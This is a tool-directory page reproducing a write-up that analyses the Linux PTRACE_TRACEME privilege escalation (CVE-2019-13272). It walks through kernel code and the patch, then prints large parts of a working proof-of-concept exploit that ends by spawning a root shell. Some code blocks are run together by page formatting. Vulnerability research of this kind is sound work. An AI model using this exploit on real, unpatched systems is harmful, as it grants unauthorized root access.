Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-13272 | Kitploit
Tools/GitHubGitHub/datntsec/cve-2019-13272
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubdatntsec/cve-2019-13272

CVE-2019-13272

View Repository
5 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-13272

PTRACE_TRACEME CVE-2019-13272 local privilege escalation vulnerability analysis

PTRACE_TRACEME is a privilege escalation vulnerability in the Linux Kernel discovered by Jann Horn in July 2019.

Vulnerability Analysis:

Ptrace is a system call that provides a method allowing a process (tracer) to observe and control the execution of another process (tracee), examine and change its core image and registers, mainly used to set breakpoints in debugging and to trace system call invocations.``` c 1 396 kernel/ptrace.c <<ptrace_attach>> ptrace_link(task, current); 2 469 kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

root@kitploit:~
There are two ways to establish a trace relationship:
  - A process calls the fork function and its child process calls `PTRACE_TRACEME` (corresponding to the `ptrace_traceme` function in the kernel) to initialize the tracee.
  - A process calls `PTRACE_ATTACH` or `PTRACE_SEIZE` (corresponding to the `ptrace_attach` function in the kernel) to initialize a tracer to trace another process.
  
Regardless of which method is used, the `ptrace_link` function will ultimately be called to establish the trace relationship between the tracer and the tracee.
- The two parameters passed to `ptrace_link` for `ptrace_attach` are 'task' (tracee) and 'current' (tracer)
- The two parameters passed to `ptrace_link` for `ptrace_traceme` are 'current' (tracee) and 'current->real_parent' (tracer)

Here, we need to note what the two parameters passed for the tracer and tracee are in the two methods above when calling the `ptrace_link` function, because the vulnerability lies in the `ptrace_link` function.``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi 
                                                                 // ptraced của process cha
        child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
        child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung 
                                                          // vào biến này vì lỗi nằm ở đây
}

The key to establishing a trace relationship is that the tracee will record the tracer's cred and store it in the tracee's 'ptracer_cred' variable.

The concept of 'ptracer_cred' was introduced by a patch in 2016, ptrace: Capture the ptracer's creds not PT_PTRACE_CAP. The purpose of introducing 'ptracer_cred' is to perform a security check when the tracee executes exec to load a setuid executable

Why do we need this security check?

The exec family can update the process image. If the setuid bit of an executable file is set, when the executable file is run, the process's euid will be changed to the uid of the file's owner. The process's privilege becomes higher than that of the user who called exec, and running such a setuid executable will have an escalation effect (escalation).

Imagine, if the process that executes exec is itself a tracee, after it runs a setuid executable to escalate privileges, its tracer can modify its (the tracee's) registers and memory at any time. If a low-privileged tracer can control a high-privileged tracee, the tracer could perform unauthorized operations through the tracee.

However, in the kernel, such unauthorized behavior is generally not allowed. Therefore, when establishing a trace relationship, the tracee needs to store the tracer's cred (i.e., ptracer_cred). If the tracee executes an exec process, it will check whether the setuid bit of the executable being run is set. If it is, it will examine the privileges of 'ptracer_cred'. If the privileges are insufficient, the setuid bit's execution privilege (the file owner's privilege) will not be used for the exec execution; instead, it will be executed with the original user's privilege.

The code analysis of this process is as follows (the code analysis in this article is based on v4.19-rc8).``` python do_execve -> __do_execve_file -> prepare_binprm -> bprm_fill_uid -> security_bprm_set_creds ->cap_bprm_set_creds -> ptracer_capable ->selinux_bprm_set_creds ->(apparmor_bprm_set_creds) ->(smack_bprm_set_creds) ->(tomoyo_bprm_set_creds)

root@kitploit:~
Activities related to execution permissions are mainly located in the function `prepare_binprm```` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569         int retval;
1570         loff_t pos = 0;
1571 
1572         bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573 
1574         /* fill in binprm security blob */
1575         retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process     
1576         if (retval)
1577                 return retval;
1578         bprm->called_set_creds = 1;
1579 
1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

As above, first call bprm_fill_uid to fill the cred of the new process, then call security_bprm_set_creds to check security and modify the new cred if necessary.``` c 1509 static void bprm_fill_uid(struct linux_binprm *bprm) 1510 { 1511 struct inode inode; 1512 unsigned int mode; 1513 kuid_t uid; 1514 kgid_t gid; 1515 1516 / 1517 * Since this can be called multiple times (via prepare_binprm), 1518 * we must clear any previous work done when setting set[ug]id 1519 * bits from any earlier bprm->file uses (for example when run 1520 * first for a setuid script then again for its interpreter). 1521 / 1522 bprm->cred->euid = current_euid(); // <--- trước tiên sẽ sử dụng euid của process hiện tại 1523 bprm->cred->egid = current_egid(); 1524 1525 if (!mnt_may_suid(bprm->file->f_path.mnt)) 1526 return; 1527 1528 if (task_no_new_privs(current)) 1529 return; 1530 1531 inode = bprm->file->f_path.dentry->d_inode; 1532 mode = READ_ONCE(inode->i_mode); 1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- nếu bit setuid/setgid của file thực thi không được set 1534 return; // , hàm sẽ return tại đây. 1535 1536 / Be careful if suid/sgid is set / 1537 inode_lock(inode); 1538 1539 / reload atomically mode/uid/gid now that lock held / 1540 mode = inode->i_mode; 1541 uid = inode->i_uid; // <---- nếu S_ISUID được set,sử dụng i_uid của file 1542 gid = inode->i_gid; 1543 inode_unlock(inode); 1544 1545 / We ignore suid/sgid if there are no mappings for them in the ns */ 1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) || 1547 !kgid_has_mapping(bprm->cred->user_ns, gid)) 1548 return; 1549 1550 if (mode & S_ISUID) { 1551 bprm->per_clear |= PER_CLEAR_ON_SETID; 1552 bprm->cred->euid = uid; // <------ sử dụng uid của file như là euid của new process 1553 } 1554 1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { 1556 bprm->per_clear |= PER_CLEAR_ON_SETID; 1557 bprm->cred->egid = gid; 1558 } 1559 }

root@kitploit:~
Looking at the following 2 lines of code for the code snippet above:
- Line 1522, assigns the current euid of the process to new euid, so most processes execute under their original privileges.
- Line 1552, if the suid bit is set, assigns the uid of the owner of the executable file to new uid. It can be understood as analogous to setuid. The new euid becomes the uid of the owner of the executable file; if the owner is a privileged user, privilege escalation occurs here.

However, the euid here is not yet the final result; we need to examine the `security_bprm_set_creds` function to learn more about the security checks.

The `security_bprm_set_creds` function calls the [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules) framework

In the kernel version I analyzed, there are up to 5 hook points in the LSM framework that perform security checks for 'bprm_set_creds'. The checking functions are as follows:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds

Which hook functions will be executed here will depend on the configuration of each specific kernel. In theory, if all LSM frameworks are enabled, all the hook functions mentioned above will be implemented to check bprm_set_creds.

In my analysis environment, only the hook functions cap_bprm_set_creds and selinux_bprm_set_creds are executed.

Among them, the cap_bprm_set_creds function will play the role of changing the euid:``` c 815 int cap_bprm_set_creds(struct linux_binprm *bprm) 816 { 817 const struct cred *old = current_cred(); 818 struct cred new = bprm->cred; 819 bool effective = false, has_fcap = false, is_setid; 820 int ret; 821 kuid_t root_uid; ===================== skip ====================== 838 / Don't let someone trace a set[ug]id/setpcap binary with the revised 839 * credentials unless they have the appropriate permit. 840 * 841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs. 842 / 843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844 845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- kiểm tra setid của chương trình được thực thi 846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || 847 !ptracer_capable(current, new->user_ns))) { // <----- Nếu process thực thi execve được trace, và executed program là setuid, quyền sẽ được xem xét thêm vào 848 /
downgrade; they get no more than they had, and maybe less */ 849 if (!ns_capable(new->user_ns, CAP_SETUID) || 850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) { 851 new->euid = new->uid; // <----- Nếu không thỏa điều kiện, euid của tiến trình mới sẽ được reset về uid ban đầu 852 new->egid = new->gid; 853 } 854 new->cap_permitted = cap_intersect(new->cap_permitted, 855 old->cap_permitted); 856 } 857 858 new->suid = new->fsuid = new->euid; 859 new->sgid = new->fsgid = new->egid; ===================== skip ====================== }

root@kitploit:~
As above,
  - Line 845 checks whether euid is consistent with the original uid (in the analysis of the `bprm_fill_uid` function above, if the executed file has the setuid bit set, euid will usually be inconsistent) ==> It can also be understood here that this is equivalent to detecting whether the executed process is a setid program.
  - Line 847 will check if the process is a tracee.
  
If the two conditions above are satisfied, the `ptracer_capable` function needs to be executed to check permissions. If the check fails, privilege downgrade will be performed.
  - Line 851, change the value of '*new->euid*' to '*new->uid*', meaning that the privilege obtained from the `bprm_fill_uid` function (cred) may be downgraded here.``` c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
    

As above

  • Line 504 retrieves 'tsk->ptracer_cred'.
  • Line 506, enters the LSM framework to check 'tsk->ptracer_cred'.

The variable 'tsk->ptracer_cred' is related to the vulnerability located here. As mentioned earlier, this variable is the credential of the tracer stored by the tracee when the trace relationship is established.

When the tracee subsequently performs execve to execute a suid executable, it calls the ptracer_capable function and uses the security framework in LSM to determine the privileges of 'ptracer_cred'.

We will not analyze security_capable_noaudit in the LSM framework, but it can be understood simply that if the tracer itself has root privileges, the check here will pass; otherwise, it will return an error.

According to the previous analysis, if the check by the ptracer_capable function fails, the privileges of 'new->euid' will be downgraded to the original privileges.

Example: A ptrace B, B executes execve '/usr/bin/passwd'. According to the analysis of the above code, if A has root privileges, the euid of B executing passwd is root; otherwise, it will use the original privileges.``` c kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) { rcu_read_lock(); __ptrace_link(child, new_parent, __task_cred(new_parent)); rcu_read_unlock(); }

root@kitploit:~
Going back to the vulnerable code snippet above, why does traceme get it wrong when saving its parent's cred during trace link setup? Clearly at this point its parent is the tracer?

Using Jann Horn's example to illustrate why traceme cannot use the tracer's cred when setting up the trace link in this way.``` py
 - 1,  task A: fork()s a child, task B
 - 2,  task B: fork()s a child, task C
 - 3,  task B: execve(/some/special/suid/binary)
 - 4,  task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - 5,  task C: execve(/usr/bin/passwd)
 - 6,  task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - 7,  task B: become dumpable again (e.g. execve(/some/other/binary))
 - 8,  task A: PTRACE_ATTACH to task B
 - 9,  task A: use ptrace to take control of task B
 - 10, task B: use ptrace to take control of task C

There are a total of 3 processes: A, B, C in the scenario above.

  • In step 4, when task C uses PTRACE_TRACEME to set up a trace link with B, because B's euid is now 0 (since it just executed a suid binary), the euid of 'ptracer_cred' recorded by C is also 0.
  • In step 5, task C subsequently executes execve(suid binary). According to the analysis above, because C's 'ptracer_cred' has privileges, the ptracer_capable function passes, so after executing execve, task C's euid is also elevated to 0. Note that the trace link between B and C is still valid at this point.
  • In step 6, task B executes setresuid to lower its privileges. The purpose of this is to proceed with attaching to task A.
  • In step 8, task A uses PTRACE_ATTACH to set up a trace link with B. Both A and B have normal privileges; then A can control B to perform any operation.
  • In step 10, task B controls task C to perform a privilege escalation action.

The first 9 steps are all set up according to the previous code analysis. Can step 9 be set up?

When performing step 10, task B itself has normal privileges, task C has root privileges, and the trace link between B and C is valid. Under these conditions, can B send a ptrace request to C to perform various operations, including privilege escalation?

Let's analyze this with the code below:``` c 1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, 1112 unsigned long, data) 1113 { 1114 struct task_struct child; 1115 long ret; 1116 1117 if (request == PTRACE_TRACEME) { 1118 ret = ptrace_traceme(); // <----- đi vào nhánh traceme 1119 if (!ret) 1120 arch_ptrace_attach(current); 1121 goto out; 1122 } 1123 1124 child = find_get_task_by_vpid(pid); 1125 if (!child) { 1126 ret = -ESRCH; 1127 goto out; 1128 } 1129 1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { 1131 ret = ptrace_attach(child, request, addr, data); // <------ đi vào nhánh attach 1132 / 1133 * Some architectures need to do book-keeping after 1134 * a ptrace attach. 1135 */ 1136 if (!ret) 1137 arch_ptrace_attach(child); 1138 goto out_put_task_struct; 1139 } 1140 1141 ret = ptrace_check_attach(child, request == PTRACE_KILL || 1142 request == PTRACE_INTERRUPT); 1143 if (ret < 0) 1144 goto out_put_task_struct; 1145 1146 ret = arch_ptrace(child, request, addr, data); // <---- các yêu cầu ptrace khác 1147 if (ret || request != PTRACE_DETACH) 1148 ptrace_unfreeze_traced(child); 1149 1150 out_put_task_struct: 1151 put_task_struct(child); 1152 out: 1153 return ret; 1154 }

root@kitploit:~
As in the code above, since task B and task C already have trace links at this point, the ptrace request can be sent directly to C through B, from which the `arch_ptrace` function will be called.``` c
arch/x86/kernel/ptrace.c

arch_ptrace 
    -> ptrace_request 
        -> generic_ptrace_peekdata
           generic_ptrace_pokedata 
            -> ptrace_access_vm 
                -> ptracer_capable 
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885                    unsigned long addr, unsigned long data)
886 {
887         bool seized = child->ptrace & PT_SEIZED;
888         int ret = -EIO;
889         siginfo_t siginfo, *si;
890         void __user *datavp = (void __user *) data;
891         unsigned long __user *datalp = datavp;
892         unsigned long flags;
893 
894         switch (request) {
895         case PTRACE_PEEKTEXT:
896         case PTRACE_PEEKDATA:
897                 return generic_ptrace_peekdata(child, addr, data);
898         case PTRACE_POKETEXT:
899         case PTRACE_POKEDATA:
900                 return generic_ptrace_pokedata(child, addr, data);
901 
=================== skip ================
1105 }



1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157                             unsigned long data)
1158 {
1159         unsigned long tmp;
1160         int copied;
1161 
1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163         if (copied != sizeof(tmp))
1164                 return -EIO;
1165         return put_user(tmp, (unsigned long __user *)data);
1166 }
1167 
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169                             unsigned long data)
1170 {
1171         int copied;
1172 
1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174                         FOLL_FORCE | FOLL_WRITE);
1175         return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

When the tracer wants to control the tracee to execute new code logic, it needs to send read and write requests to the tracee's code area and memory area. The corresponding requests are the functions PTRACE_PEEKTEXT/PTRACE_PEEKDATA/PTRACE_POKETEXT/PTRACE_POKEDATA.

These read and write operations are ultimately performed through the function ptrace_access_vm.``` c kernel/ptrace.c 38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr, 39 void *buf, int len, unsigned int gup_flags) 40 { 41 struct mm_struct *mm; 42 int ret; 43 44 mm = get_task_mm(tsk); 45 if (!mm) 46 return 0; 47 48 if (!tsk->ptrace || 49 (current != tsk->parent) || 50 ((get_dumpable(mm) != SUID_DUMP_USER) && 51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- gọi hàm ptracer_capable một lần nữa. 52 mmput(mm); 53 return 0; 54 } 55 56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags); 57 mmput(mm); 58 59 return ret; 60 }

kernel/capability.c 499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace ns) 500 { 501 int ret = 0; / An absent tracer adds no restrictions */ 502 const struct cred *cred; 503 rcu_read_lock(); 504 cred = rcu_dereference(tsk->ptracer_cred); 505 if (cred) 506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); 507 rcu_read_unlock(); 508 return (ret == 0); 509 }

root@kitploit:~
Looking at the code above, we can see that the `ptrace_access_vm` function will call the `ptracer_capable` function we analyzed earlier to determine whether its request can be fulfilled.

According to the previous analysis results, '*ptracer_cred*' stored in task C at this point is a privileged cred, so `ptracer_capable` will pass at this point, meaning the question above has been answered. In this case, task B with normal privileges can use ptrace to send read and write requests to the memory and code regions of task C with root privileges.

At this point, the '*ptracer_cred*' privilege is exercised by task C in two cases:
- Task C executes `execve(suid binary)` to elevate privileges
- Task B with normal privileges can execute ptrace to read and write to the code and memory regions of task C, thereby controlling task C to perform arbitrary operations

Does the combination of these two roles constitute a complete privilege escalation operation?

Before answering the above question, we will look at how this vulnerability is exploited and patched.

# Brief overview of the PTRACE_TRACEME vulnerability patch``` 
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

In essence, this vulnerability is somewhat similar to a TOCTOU-type vulnerability. Obtaining 'ptracer_cred' during the traceme phase and using 'ptracer_cred' in the subsequent phase in the next ptrace request, the tracer's cred may not be the original cred but the cred at the time of linking (meaning it is reassigned within the ptrace_link function).``` diff diff --git a/kernel/ptrace.c b/kernel/ptrace.c index 8456b6e..705887f 100644 --- a/kernel/ptrace.c +++ b/kernel/ptrace.c @@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent, */ static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) {

  • rcu_read_lock();
  • __ptrace_link(child, new_parent, __task_cred(new_parent));
  • rcu_read_unlock();
  • __ptrace_link(child, new_parent, current_cred()); }
root@kitploit:~
Let's revisit the patch: '*__task_cred(new_parent)*' replaced with '*current_cred()*'

The patch indicates that when PTRACE_TRACEME is executed, '*ptracer_cred*' does not use the cred of the parent process, but uses its own cred.

# Exploit
The key to exploiting this vulnerability is to find a suitable executable to start task B. This executable must satisfy the following conditions:
- Can be invoked by a normal user
- Must have a privilege escalation phase to root during execution
- After gaining root privileges, must be able to drop privileges.

(The purpose of temporarily escalating to root is to allow task C to obtain root's ptracer_cred, and the purpose of dropping privileges is to allow B to be attached by a process with ordinary ptrace privileges))

Here are 3 exploit code samples:
- [Exploit by Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit by Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit by Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)

In [Jann Horn's exploit](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217), the [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) program available on the system (for desktop versions) is used to start task B

[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) allows a privileged user to run another program with a different user's privileges, used in the polkit authentication framework. When using the --user parameter, it allows the process to escalate privileges to root and then drop to the specified user, so it can be used for constructing task B. Additionally, we need to find other executables that are executed through the polkit framework (Jann Horn uses helpers). These programs need to satisfy that a normal user can execute them with pkexec without requiring authentication (many programs executed through polkit require authentication via a popup window). The way to execute is as follows:``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary

Exploit by Bcoles adds code to find additional helper binary based on Jann Horn's work. Because Jann Horn's helper is a hard-coded program, it does not exist in many Linux distributions, so his exploit cannot be used on many distribution systems. Conversely, Bcoles' exploit code can run successfully on more distributions.

For research purposes, I will discuss Jiayy's exploit, because the helper binary varies across different distributions and pkexec is only available on desktop distributions. In fact, this privilege escalation vulnerability is a Linux kernel vulnerability, so Jann Horn's exploit was modified to escalate privileges using two manually created programs, fakepkexec and fakehelper (instead of searching the target system), so that readers can run this exploit on any vulnerable Linux system (including non-desktop) for research purposes.

exploit analysis

Let's look at the exploit code below:``` c 167 int main(int argc, char *argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell(); 172 173 helper_path = "/tmp/fakehelper"; 174 175 / 176 * set up a pipe such that the next write to it will block: packet mode, 177 * limited to one packet 178 / 179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 181 char dummy = 0; 182 SAFE(write(block_pipe[1], &dummy, 1)); 183 184 / spawn pkexec in a child, and continue here once our child is in execve() / 185 static char middle_stack[10241024]; 186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 188 if (!middle_success) return 1; 189 ======================= skip ======================= 215 }

root@kitploit:~
First, look at line 186, the clone function call to create a child process (task B), task B will run the middle_main function.``` c
64 static int middle_main(void *dummy) {
65   prctl(PR_SET_PDEATHSIG, SIGKILL);
66   pid_t middle = getpid();
67 
68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69 
70   pid_t child = SAFE(fork());
71   if (child == 0) {
72     prctl(PR_SET_PDEATHSIG, SIGKILL);
73 
74     SAFE(dup2(self_fd, 42));
75 
76     /* spin until our parent becomes privileged (have to be fast here) */
77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78     char *needle = tprintf("nUid:t%dt0t", getuid());
79     while (1) {
80       char buf[1000];
81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82       buf[buflen] = '';
83       if (strstr(buf, needle)) break;
84     }
85 
86     /*
87      * this is where the bug is triggered.
88      * while our parent is in the middle of pkexec, we force it to become our
89      * tracer, with pkexec's creds as ptracer_cred.
90      */
91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92 
93     /*
94      * now we execute passwd. because the ptrace relationship is considered to
95      * be privileged, this is a proper suid execution despite the attached
96      * tracer, not a degraded one.
97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
98      */
99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

Line 70, call the fork function to create a grandchild process (task C).

Then, at line 111, task B runs fakepkexec to elevate privileges and then drops privileges.

Next, look at lines 76 to 84, after task C detects that task B's euid becomes 0, it will execute line 91 to perform the PTRACE_TRACEME operation to obtain root's ptracer_cred, and then immediately run executel to execute the suid binary to make its euid become 0.``` c 190 /* 191 * wait for our child to go through both execve() calls (first pkexec, then 192 * the executable permitted by polkit policy). 193 */ 194 while (1) { 195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 196 char buf[16]; 197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 198 buf[buflen] = ''; 199 strchrnul(buf, 'n') = ''; 200 if (strncmp(buf, basename(helper_path), 15) == 0) 201 break; 202 usleep(100000); 203 } 204 205 / 206 * our child should have gone through both the privileged execve() and the 207 * following execve() here 208 */ 209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 210 SAFE(waitpid(midpid, &dummy_status, 0)); 211 fputs("attached to midpidn", stderr); 212 213 force_exec_and_wait(midpid, 0, "stage2"); 214 return 0;

root@kitploit:~
Next, back to the main function of task A, lines 194 to 202, task A checks whether the comm file of task B has become a helper; if so, it will run line 213 to execute the force_exec_and_wait function.``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

The function of force_exec_and_wait is to use ptrace to control the tracee to execute the execveat function to replace the process image. Here, it controls task B to execute the process of task A (i.e., the exploit executable - the exploit binary file) with the parameter stage2 so that task B executes the middle_stage2 function.``` c 167 int main(int argc, char **argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell();

root@kitploit:~
The middle_stage2 function also calls force_exec_and_wait, which will make task B use ptrace to control task C to execute the execveat function, replacing task C's image with the exploit binary and the parameter is stage3``` c
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }

When the exploit binary file is run with the stage3 parameter, it will execute the spawn_shell function, so the final step of task C is to run spawn_shell.``` c 160 static int spawn_shell(void) { 161 SAFE(setresgid(0, 0, 0)); 162 SAFE(setresuid(0, 0, 0)); 163 execlp("bash", "bash", NULL); 164 err(1, "execlp"); 165 }

root@kitploit:~
In the spawn_shell function, it first uses setresgid/setresuid to change the real uid/effective uid/save uid of the process to root. Because task C just executed the suid binary and changed its own euid to root, so here setresuid/setresgid can be executed successfully. At this point, task C has become a complete root process. Finally, execute execlp to open a shell, and this shell will have full root privileges.``` go
       	     forks               forks
+------proc_A -----------> proc_B ------------> proc_C
|       |                   |                    |
|     Wait B                |                    |
|     And attach            |                    |
|     Execve stage 2 in B   |                    |
+-------+-------------------+--------------------+
stage 1 |                 pkexec              get privileged tracer
|       |                   |                    |
|       |                   |                    |
|       |                 Unprivileged        exec SUID binary,
|       |                 Traced by A         become privileged, SIGTRAPed
+-------+-------------------+--------------------+
|       |                   |                    |
stage 2 |                 Wait C,                |
|       |                 Execve stage3 in C     |
|       |                   |                    |
+-------+-------------------+--------------------+
|       |                   |                    |
|       |                   |                    |
stage 3 |                   |                 setresuid to 0, 0, 0
|       |                   |                    |
|       |                   |                 exeve bash as root :)
+-------+-------------------+--------------------+

References

https://www.anquanke.com/post/id/193863#h2-3 https://jm33.me/cve-2019-13272-linux-lpe-via-ptrace_traceme.html

DatntSec. Viettel Cyber Security.

Download Tool